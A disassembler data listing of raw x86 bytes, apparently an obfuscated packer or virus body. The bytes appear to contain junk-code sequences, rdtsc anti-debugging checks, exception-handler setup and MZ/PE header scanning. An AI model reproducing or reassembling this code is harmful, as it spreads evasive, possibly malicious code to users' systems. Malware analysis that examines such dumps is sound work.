		dd 0F5A3C356h, 0B1EA5501h, 4085893Dh, 0E9061816h, 0Eh
		dd 939D1F4Dh, 6856116Eh, 0BBD1F010h, 0BD8304BDh, 618165Ch
		dd 850F00h, 89000001h, 14008DBDh, 61852906h, 0C606141Bh
		dd 14084985h, 81FC4906h, 0FFBB9AD7h, 4E871h, 29E90000h
		dd 0E8538C15h, 14h, 0CA262E56h,	0A72E599Ah, 8CA7C70h, 8F597D31h
		dd 48635C1Ch, 5A59F88Bh, 12E85350h, 2A000000h, 4B8516FDh
		dd 546A8DCAh, 87F8CB84h, 0EBD625D6h, 0AE84Fh, 663C0000h
		dd 0E55A3607h, 9500E97Ch, 8B5A5959h, 60042444h,	5BD08B53h
		dd 61F78B66h, 8E9008Bh,	40000000h, 215B6897h, 8904C7B7h
		dd 0B9042444h, 1762DFFCh, 53006A58h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0C31DA68Dh
		dd 53F8B7BCh, 719531E2h, 0FF061400h, 140C2DB5h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 8DA6BA44h, 143B4E85h, 8D0F06h, 0FF000000h, 0F9958BD0h
		dd 89061430h, 18165C85h, 0C19D0906h, 6A061434h,	418D8B04h
		dd 6806141Ch, 0B410488h, 3481D18Bh, 41148824h, 56006A0Bh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 9722FA60h, 0E9608C5Ah, 5, 1B4057C7h,	5BD0970h, 61061417h
		dd 0C46A6D68h, 12E8B9h,	8D9B0000h, 0A2F94831h, 2DA14FA3h
		dd 0A163C3EAh, 2FC22879h, 24048159h, 463C9593h,	38F0Fh
		dd 8B660000h, 0F006AD3h, 95FFC8B7h, 6142B15h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0D2C35242h, 0EE960h
		dd 80D70000h, 0BA68B082h, 7F7B282h, 35504231h, 38D0Fh
		dd 0F2800000h, 8589617Ah, 618164Ch, 711958Bh, 85C70614h
		dd 6181644h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0C5C35040h
		dd 0C448B614h, 19D5958Bh, 6A0614h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 6AC35747h, 0EFBF3799h, 6816A8B9h
		dd 0A867AF91h, 4814EB6h, 99506F24h, 6E957h, 22E70000h
		dd 0BBF92342h, 8C46BA50h, 4891D2Fh, 6A76B124h, 50006A0Bh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 58C0F6Bh, 66000000h,	0E642E981h, 15B5BD8Bh, 858D0614h
		dd 6181619h, 45D8589h, 0E9900614h, 0Fh,	7DA318C6h, 0B6D26F43h
		dd 8849124Eh, 50448599h, 50525060h, 5A310F52h, 0E9310F58h
		dd 7, 0FE84194Bh, 5A42C434h, 45B86658h,	8990610Eh, 1410AD85h
		dd 0D95FF06h, 6A061401h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 0DB0BC356h,	0B70F4C6Bh
		dd 23B58DC8h, 0BA061816h, 16A545EBh, 0E9605096h, 0Ch, 0AA80EF2Ah
		dd 0C05B5961h, 3497ACC1h, 5860Fh, 7BB0000h, 61166BB9h
		dd 50006A96h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 857086BAh, 926F8325h, 0DF81662Fh, 0B950AFB3h
		dd 61FB364Dh, 6A240489h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 9F5EC356h, 2DBFAB35h
		dd 0CE8B6656h, 0B9BD2B5Ah, 0FF06140Fh, 140BCD95h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0FE966B6h, 284h, 0E891B200h,	0Fh, 2607D6E9h,	0A965AC1h
		dd 9820CA24h, 5F6F7E1Fh, 850FC00Bh, 11h, 870FF9h, 0E9000000h
		dd 7C7h, 7D51D1BFh, 6AD0FF7Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0C80BC356h,	10D709D2h
		dd 4CB58B29h, 0B9061816h, 6EB0E4BDh, 8B20468Dh,	1406A195h
		dd 6A046A06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 6678C356h, 0E950D68Bh,	8, 2D3E9505h
		dd 88256831h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 41BEC353h, 21B589F1h
		dd 0FF061411h, 18165C95h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0D94B22E6h
		dd 0B589074Fh, 6141CF1h, 840FC00Bh, 3Ah, 12459509h, 0BA660614h
		dd 0F0E9878Bh, 6A000006h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0DEB2C352h,	6F19A4EEh
		dd 0FD89E6C8h, 0ACFFD181h, 7E805C4Ah, 840F0020h, 6BBh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0BFC35141h
		dd 0FF58D89h, 6A600614h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 2F8EC355h, 0B985895Eh
		dd 8D06140Ah, 6A2046h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 6C22E1C3h, 8844EC07h, 8BFBE60Ah
		dd 14029595h, 0B5BD8906h, 8906140Ch, 18164885h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 1607866Bh, 122E9h, 22B96600h, 66604013h, 0EF89C081h
		dd 13E9h, 0EF781500h, 9F05DD2Eh, 92163012h, 0C2979A10h
		dd 0DFA00514h, 0BE85061h, 0ED000000h, 8777D9E3h, 8D6F07Fh
		dd 810FC9CDh, 0
		dd 2404895Ah, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 17h,	6BC35343h, 294626B2h, 14239195h, 3850F06h, 66000000h
		dd 46AFB8Bh, 941DD181h,	8B500609h, 240489FAh, 4076BF66h
		dd 6E9h, 0FF5DBB00h, 0FFDDB787h, 18165C95h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 8D0F6078h, 0
		dd 16F5B50Bh, 80610614h, 0D88BBEE9h, 5861F960h,	0D38B6660h
		dd 61DBBF0Fh, 840FDB0Bh, 4Fh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 41C35242h, 815138C8h, 0EDBD8BABh
		dd 0E9061410h, 517h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 7C35141h, 6E0861ABh, 80BAD0F8h, 850F0038h
		dd 0FFFFFED9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	1EC35545h, 0DE9C3ADh, 0BA000000h, 0EB2D4D4h, 8D0F48h
		dd 0F8000000h, 1648853Bh, 820F0618h, 70h, 22D78166h, 5C3880AFh
		dd 62840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1A0424h, 50400000h, 560CB0C3h, 0F2713F3Dh, 0F2F3880h
		dd 0FFFFB385h, 57006AFFh, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 0E81E4A88h, 0Dh, 0AD3C7ABBh
		dd 27C05149h, 94E74335h, 0B18531FAh, 5A06141Bh,	51006A40h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 2A2E923Ch, 5F2F7590h, 0B5316BA7h, 6140191h, 1650BD83h
		dd 0F000618h, 1F584h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 0D1B7DBA7h, 7BB96A50h
		dd 11E9A77Ch, 14000000h, 19E20E3Fh, 939D1F4Dh, 6856116Eh
		dd 0BBD1F010h, 9E9h, 9534B500h,	0C7198CD7h, 66903B86h
		dd 5039C3BAh, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 7D45B376h, 0E95FA085h, 8,	92A877E4h
		dd 34D1B342h, 0FCD98166h, 6880F31h, 1000000h, 1434159Dh
		dd 50850306h, 60061816h, 51F6B70Fh, 6650615Bh, 489F98Bh
		dd 50006A24h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0BD2BA6D2h, 61401C9h, 6A046Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 0C1EC32C3h
		dd 0BF0F5220h, 0F505FCEh, 28Ah,	89CF8B00h, 0BD8B2404h
		dd 6140DD9h, 165C95FFh,	6A0618h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0D88B4FC3h, 4B5BD8Bh
		dd 0E8580614h, 13h, 4BE35760h, 0A7D64958h, 4CAD028h, 0E50B9D47h
		dd 3139FE03h, 140FFD85h, 0DB0B5F06h, 4B840Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 81664DC3h, 0E9AE3ADAh, 28Fh,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 21C35646h, 8902519Bh, 1426959Dh
		dd 0C606h, 87FEB966h, 0A219501h, 6A580614h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h
aRFh		db 'RÃfh',0             ; DATA XREF: ___:off_443EACo
		db 0DAh, 3Eh, 84h
		dd 3F282C25h, 0CE8h, 6AAD0F00h,	10238B74h, 0E3146025h
		dd 0FE936h, 51AE0000h, 70C773BFh, 0B7B0775Ch, 722D798Ch
		dd 66505901h, 89C9EDBAh, 6A2404h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 0F63480C3h, 94577D7h
		dd 0FBB70F40h, 6A1E6Ah,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 66851BC3h, 2C25D181h, 57525050h
		dd 830Fh, 0F5A0000h, 89585A31h,	95FF2404h, 618165Ch, 1219958Bh
		dd 8D2B0614h, 6141FD5h,	6AD88Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 66FC10C3h, 2C3CE781h
		dd 0BE9B258h, 2C840FDBh, 0B9000000h, 32009548h,	162E9h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 81662DDAh, 500BE9F7h, 5E860h, 0B32D0000h
		dd 0BEBE632Ah, 403356F3h, 0F52505Eh, 8D0F31h, 5A000000h
		dd 4896158h, 0FD8D8B24h, 0FF06142Bh, 18163CB5h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 95FFD181h, 6181640h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 5AC35040h, 0F15A1A1Ah, 0B50EEC71h, 0FC00B38h
		dd 5D85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 61CA8AE5h, 162DBD89h, 85C70614h
		dd 6181644h, 1,	0ABD9BF66h, 8AE9h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 34A4DBA6h
		dd 0BF66DF7Ah, 6A616343h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0D214C353h,	0BE90EFDh
		dd 0D9000000h, 0D200304Ch, 84DDA731h, 0C681C1F2h, 11Ch
		dd 130FCA81h, 91E92F17h, 6AFFFFF8h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0A5C9C356h
		dd 61858901h, 0E806142Bh, 4, 8000h, 0E07BB966h,	8BFCB650h
		dd 0BF042444h, 3D78570Bh, 0BF66008Bh, 4489C69Ah, 52500424h
		dd 5F565250h, 5250310Fh, 585A310Fh, 310F585Ah, 6E950h
		dd 3D5D0000h, 40991D34h, 58585A59h, 2559BD89h, 6A0614h
		dd 34A58D8Bh, 0B5FF0614h, 618164Ch, 0A800Fh, 8D0F0000h
		dd 4, 0D164B966h, 0C2195FFh, 0FE90614h,	5000000h, 80F83E66h
		dd 0E2C20D1Dh, 3CB07645h, 858B81A3h, 6181644h, 6860Fh
		dd 95890000h, 6141581h,	19850F50h, 0E9000000h, 14h, 9F0013C5h
		dd 1A332BA7h, 2B218799h, 0D23DDBA5h, 1CDDAF2Ch,	0F5240489h
		dd 1654858Dh, 81BA0618h, 9074E911h, 11E8h, 87E54700h, 0C7A55F7Dh
		dd 0A1622F02h, 6287048Ah, 665089C9h, 5F59D18Bh,	46B96650h
		dd 13E89057h, 83000000h, 2A1E4DDEh, 1793820h, 0DF5B4EF1h
		dd 34611F01h, 4EB28DE1h, 11858D5Ah, 0F061816h, 6050FBB7h
		dd 62B9F78Bh, 6158F687h, 0E8240489h, 11h, 297ED11Dh, 0D1FCAC18h
		dd 0A7DA7B2Fh, 0AAD7D37Ch, 2DBD016Eh, 5A061403h, 89595FFh
		dd 81660614h, 8BD72DD1h, 599523C0h, 8306142Ah, 1410F1BDh
		dd 9750006h, 0E25BD83h,	74000614h, 8B535013h, 4D0B8C0h
		dd 9D8D0000h, 616A58Dh,	585BD3FFh, 0E25BD83h, 74000614h
		dd 0B8535011h, 4D0h, 0A48C9D8Dh, 0D3FF0616h, 0CB8A585Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 9FC35141h
		dd 789F6B7Ch, 0C8822839h, 8BD08BA3h, 57006AC0h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 89C0DA3Ah
		dd 14122595h, 6A5806h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 8C26BC3h, 27C28000h, 0BF0FC08Bh
		dd 77858DD2h, 6A061816h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0E82C351h, 0B1BD8B8Fh
		dd 0BA06142Fh, 0B996CFAh, 89D3BF0Fh, 140A4985h,	75E906h
		dd 66600000h, 4A8D88Ch,	35840Fh, 16A0000h, 0C2DB5FFh, 858D0614h
		dd 61778FEh, 8589D0FFh,	6141C45h, 0EFC1FE8Bh, 680Ch, 6A2004h
		dd 6857026Ah, 1000Dh, 1C4595FFh, 32E90614h, 0C6000000h
		dd 14084985h, 0DF685606h, 0FFA9C530h, 142C65B5h, 0FE858D06h
		dd 0FF061778h, 8D8589D0h, 8D061413h, 14252985h,	206A5006h
		dd 0FF56056Ah, 14138D95h, 0C1C36106h, 0BA06E0h,	81F01130h
		dd 0EAh, 14C283F0h, 1D219589h, 0EA830614h, 5C858D14h, 5006182Ah
		dd 35FF64h, 64000000h, 2589h, 0E80000h,	58000000h, 25C22Bh
		dd 66FFFFF0h, 5A4D3881h, 12850Fh, 0B70F0000h, 0D0033C50h
		dd 45503A81h, 840F0000h, 0Ah, 10002Dh, 0FFD9E900h, 0C88BFFFFh
		dd 23B58589h, 40030614h, 50B70F3Ch, 71958906h, 8B061426h
		dd 95895050h, 61434F5h,	0F805h,	0C508B00h, 9589D103h, 61415C9h
		dd 89085003h, 14104595h, 58F6406h, 0
		dd 0E904C483h, 13h, 244C8B51h, 0B0A98110h, 0
		dd 59000010h, 83C3C033h, 140CC9BDh, 840F0006h, 24h, 84985C6h
		dd 68470614h, 0D49AA7D2h, 2C65B5FFh, 858D0614h,	61778FEh
		dd 6AD0FFh, 8589D0FFh, 6142AB5h, 0CE8D38Bh, 4B000000h
		dd 62CB46FCh, 57FBACA5h, 805DCDD4h, 8B5F73C0h, 0D7C781DAh
		dd 66000073h, 3300CFB8h, 58F550C9h, 8B0F148Bh, 8F281D9h
		dd 60798ED9h, 32C8E2BBh, 14E919h, 3FBA0000h, 0CB7D5B54h
		dd 0BFED3A33h, 1F4BF87Fh, 8F2495CBh, 8161DA31h,	8E8EDFC2h
		dd 0FFC606Ch, 48Dh, 0ECBA6600h,	0F28161C0h, 0A236214h
		dd 89C1B70Fh, 0E8F90F14h, 5, 2F507CB6h,	5E2CB080h, 4902E983h
		dd 0A9D38049h, 8CB4F981h, 850FFFFFh, 0FFFFFF94h, 6A60C58Ah
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0EB88C356h, 0F770C889h, 7C69335h,	23018589h
		dd 0C08B0614h, 49EF8160h, 0F50B42Ch, 8361C0B7h,	1410F1BDh
		dd 9750006h, 0E25BD83h,	74000614h, 8B535019h, 438B8C0h
		dd 85890000h, 6141819h,	0A7529D8Dh, 0D3FF0616h,	0BD83585Bh
		dd 6140E25h, 50177400h,	438B853h, 85890000h, 6141819h
		dd 0A4419D8Dh, 0D3FF0616h, 6A585Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 0CDE2FAC3h
		dd 0F622BF66h, 0B48BE181h, 0B5892BC4h, 6140CD1h, 6AC08Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 6CDFD0C3h, 319501B2h, 0E8061413h, 960h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 4AC35545h, 167D8D09h
		dd 85890614h, 6140ECDh,	850Fh, 2DE80000h, 6A000009h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0C326C355h, 0C172EDFFh, 658589F8h, 9061426h,	141CE98Dh
		dd 0EE806h, 28C30000h, 97ED427Ch, 5335B7EFh, 32F05B29h
		dd 12E8h, 9B109900h, 0C62C9B16h, 301A782Ah, 8DAD982Eh
		dd 0E9DAD783h, 7, 0DE20E048h, 5E8CD68Ch, 8C2E85Fh, 870F0000h
		dd 17h,	12E9h, 6FE55F00h, 0CC5063E4h, 68FAE62Bh, 41C83024h
		dd 89E699DBh, 14129D85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 49CFBD9Ch, 13E84E23h
		dd 0A6000000h, 0AAF08318h, 7EEED8B1h, 39EAE3A8h, 3837A3CAh
		dd 10E90686h, 0A5000000h, 1053A66Bh, 779A70F5h,	8F0D988Eh
		dd 5F6E0A80h, 84BE8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 0DCC8C5B2h, 89AFB719h
		dd 140E219Dh, 11858906h, 5106141Dh, 7E9h, 0D3762600h, 3D9FD631h
		dd 80AE85Eh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 6069CEC3h, 0BC158A68h, 2F9DBD89h
		dd 0BD8B0614h, 6140FEDh, 80D8589h, 6A0614h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 7DEC0EC3h
		dd 505914E6h, 899F8522h, 142A4DB5h, 7A6E806h, 0C9800000h
		dd 55858979h, 6A06140Dh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 35B7C357h, 0F05B2953h
		dd 183AF0BFh, 772E85Fh,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0C8C7CC3h, 6E8B9F2h
		dd 0F6000000h, 0C9170E1Ah, 45BD8914h, 5F06140Eh, 1C3D8589h
		dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 0B58BC9C3h, 614064Dh, 713E8h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0F70B07Ah, 95890F9Ch, 6140979h, 0A07ABF66h, 11C98589h
		dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 633BAEC3h, 6BFE8h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 756B429Ah
		dd 0CB6BF66h, 0E1D8589h, 6A0614h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 8769DFC3h, 954214F1h
		dd 66EE8D5h, 81660000h,	89600CD7h, 14238985h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0EE813641h, 4364D4CDh, 6D9BD89h, 35E80614h, 6A000006h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 67EFC356h, 0A05AC353h, 0DC86DEDAh, 6E8h
		dd 0AA706500h, 0E961EF31h, 11h,	4A8ED918h, 0D81845A4h
		dd 0A52FDB7Fh, 88912617h, 85895971h, 61404B1h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0F9C35242h, 6643F847h
		dd 0E85752BEh, 5C0h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 0BFC35040h, 7768E386h, 25018589h, 0BF660614h
		dd 91E8CC44h, 6A000005h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0C418C353h,	253D8509h
		dd 85890614h, 614074Dh,	618589h, 8D890614h, 6142E19h, 557E8h
		dd 89FA8B00h, 140D0985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 85295F7Ch, 6140191h, 527E8h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 3D931AEDh, 1D4049DAh, 0D05B501h,	85890614h
		dd 6140499h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	6BC35040h, 0F38255E9h, 12E8h, 3803DF00h, 5E381FC2h
		dd 91EEB546h, 0C6A5FC80h, 89523CB1h, 14088DBDh,	95895E06h
		dd 6141371h, 6E9h, 0EE1B2600h, 0E82E741Fh, 4A4h, 85897DB1h
		dd 6140E15h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	0D4C35646h, 6684618Fh, 0B03667B9h, 95858900h, 0F061431h
		dd 6AD8B6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0BFFCF2C3h, 0E42026B4h, 31B50132h, 0BA061434h
		dd 6, 0FE9h, 0F8A08800h, 0E3EBAA02h, 24E6CDFFh,	444E1026h
		dd 810FC38Bh, 5, 0DFDEA3BEh, 4E8C15Ch, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0B2C35646h,	8D8B4BEBh, 6140A2Dh
		dd 2BE2F766h, 0FA8B93D8h, 11B96650h, 6A936Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 189F2C3h
		dd 0FFCA8B66h, 14121195h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0FEACD2BDh
		dd 0BD89AAACh, 6141025h, 50006A5Bh, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 30BC6E84h, 0D8895B90h
		dd 0BF0F9156h, 1958DF7h, 6A061413h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0AEE9C355h
		dd 58F38A6h, 58A0F49h, 0BF000000h, 7F39EE58h, 6A1A89h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0F0AE6C3h, 68Eh, 59958900h, 0F9061408h, 89044289h, 142D6D8Dh
		dd 65958D06h, 6A061406h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 3101C357h, 1545BD89h
		dd 8D8B0614h, 61408DDh,	6A1A89h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 79262FC3h, 42898FB7h
		dd 55006A04h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 7CE7DB37h, 6A85BF93h, 8DF88B9Ch,	1425B595h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0F4BF3C4Ch, 1A8922D9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 70C35343h, 0BF66644Eh, 813A0F7Eh
		dd 0B800F7Eh, 0E9000000h, 6, 81500EDDh,	428990B4h, 50006A04h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 5E077E87h, 9F8E949Bh, 95296025h, 6141359h, 87DBD8Bh
		dd 89610614h, 140DEDBDh, 0DD958D06h, 6A061407h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 7B66C353h, 11A6583h,	1404658Dh, 661A8906h, 4289CB8Bh
		dd 56006A04h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 89D2B5E5h, 140DD995h, 0A1958D06h, 6A06142Dh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 159AC353h, 866F578Ch, 8993DB13h, 140021BDh
		dd 6A1A8906h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 350EC351h, 44289D4h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0A0C35242h, 0DFCE2C63h
		dd 0B546F3DAh, 0F1958D43h, 6A061402h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0D64AC352h
		dd 6A1A89E2h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 0A126C352h, 0C681D266h, 380CFDA7h
		dd 89044289h, 141CE59Dh, 0B5958D06h, 6A061416h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 4768C357h, 0C3D84C61h, 891A609h, 14E95951h, 47000000h
		dd 23803EBEh, 361C89B7h, 0B882B891h, 908A751Dh,	89194A15h
		dd 50006A1Ah, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0DAE9E6A8h, 16C4C85Dh, 4289D6FEh, 53006A04h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 82E10356h, 0A1952907h, 8D061424h, 1409D595h,	0C4F18106h
		dd 8932E25Dh, 55006A1Ah, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 87D89017h, 428910F6h, 0C5E904h, 0DE810000h
		dd 286F7091h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 58C7CBC3h, 89601D85h, 142AF19Dh
		dd 0F88B6606h, 9E8006Ah, 3C000000h, 72066A87h, 956ECF2Ch
		dd 1F11B58Bh, 6A590614h, 29BD8B00h, 6A061412h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 753A6BB9h, 0B1197E41h, 7195FFEDh, 6A061409h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0A075C355h, 0BB81C1AFh, 0AACED18Dh, 50006AC3h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 6B45F06h, 8AF93914h,	51006AC5h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 7C64CCFBh, 7798D8Bh, 0BD2B0614h
		dd 614031Dh, 14E9C08Bh,	79000000h, 8BE9A93Eh, 0C345F106h
		dd 74AF2D24h, 0CA4EFE3Eh, 83F40132h, 1410F1BDh,	9750006h
		dd 0E25BD83h, 74000614h, 8B535019h, 438B8C0h, 85890000h
		dd 61424F1h, 0A7B99D8Dh, 0D3FF0616h, 0BD83585Bh, 6140E25h
		dd 50177400h, 438B853h,	85890000h, 61424F1h, 0A45A9D8Dh
		dd 0D3FF0616h, 6A585Bh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 99854CC3h, 0B5892E98h, 61411A1h
		dd 19C9BD8Bh, 66600614h, 0E9B3CAB9h, 0Eh, 0F1C57586h, 8C385D4Ah
		dd 0D8E3F668h, 8B618160h, 91858DC0h, 8B061407h,	0BE850D9h
		dd 0E0000000h, 0C89BB23Eh, 3E0D4142h, 8A0FC2D5h, 0
		dd 2404895Bh, 0CE9h, 0B97EE100h, 6F154FB7h, 0FA5B4B54h
		dd 6A006A8Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 9AF3C356h, 60DEB088h, 38D0Fh
		dd 0BF0F0000h, 0F59D01FEh, 6106141Fh, 6A006Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0F837E3C3h, 0FAF0B3D3h, 8B5CA552h, 140F959Dh, 3D9D8B06h
		dd 8D06142Bh, 18393985h, 0FAB70F06h, 83FBB70Fh,	6A05C0h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
